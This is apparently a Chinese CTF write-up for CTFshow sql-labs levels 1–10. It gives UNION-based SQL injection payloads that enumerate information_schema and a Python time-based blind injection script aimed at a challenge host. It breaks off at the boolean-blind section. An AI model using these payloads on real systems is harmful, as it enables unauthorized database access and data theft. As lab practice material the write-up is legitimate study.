CTFshow sql-labs刷题记录
1-4
分别用’、"、’)、")闭合,通过联合查询语句union获取flag。由于当前调用的库非存放flag的库,可以用手注,通过元数据库information_schema.schemata表(查找所有库名),information_schema.tables表(查找所有表名),information_schema.columns表查找列名,获取flag最终的位置。
查询所有数据库
union select 1,group_concat(schema_name),3 from information_schema.schemata-- qwe
查询ctfshow库的数据表
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘ctfshow’-- qwe
查询ctfshow库的flagaanec数据表的字段名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘ctfshow’ and table_name=‘flagaanec’-- qwe
查询ctfshow库的flagaanec数据表的flagaca字段的值
union select 1,group_concat(flagaca),3 from ctfshow.flagaanec-- qwe
5-10
测试为字符型注入,单引号闭合,页面无可用回显信息,但有回显变化,可以尝试盲注。
5、8为单引号闭合,6为双引号闭合,7为 ')) 闭合,
8、9为单引号闭合,但尝试时页面总是返回看似一样的内容,但其实中间字离图的宽度发生了变化,查看源码不同点在于,但其实这道题最正的解法是盲注,所以在页面看似没有变化的时候,尝试盲注
10为双引号闭合,也可以盲注
时间盲注
import requests
import time
url='http://2397a041-5feb-4f5a-a975-f0dbd10789f1.challenge.ctf.show:8080/?id='
flag=''
for i in range(1,100):
min=32
max=128
while 1:
mid=min+(max-min)//2
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)=='}':
exit()
break
payload="1' and if(ascii(substr((select/**/group_concat(schema_name)from(information_schema.schemata)),{},1))<{},sleep(0.5),0)-- -".format(i,mid)
# payload="1' and if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema='ctfshow')),{},1))<{},sleep(0.5),0)-- -".format(i,mid)
# payload="1' and if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flagug')),{},1))<{},sleep(0.5),0)-- -".format(i,mid)
# payload="a1' and if(ascii(substr((select/**/group_concat(flag4a23)from(ctfshow.flagug)),{},1))<{},sleep(0.5),0)-- -".format(i,mid)
# print(url+payload)
try:
r=requests.get(url=url+payload,timeout=0.5).text
min=mid
except:
max=mid
time.sleep(0.3)
time.sleep(0.3)
布尔盲注
import requests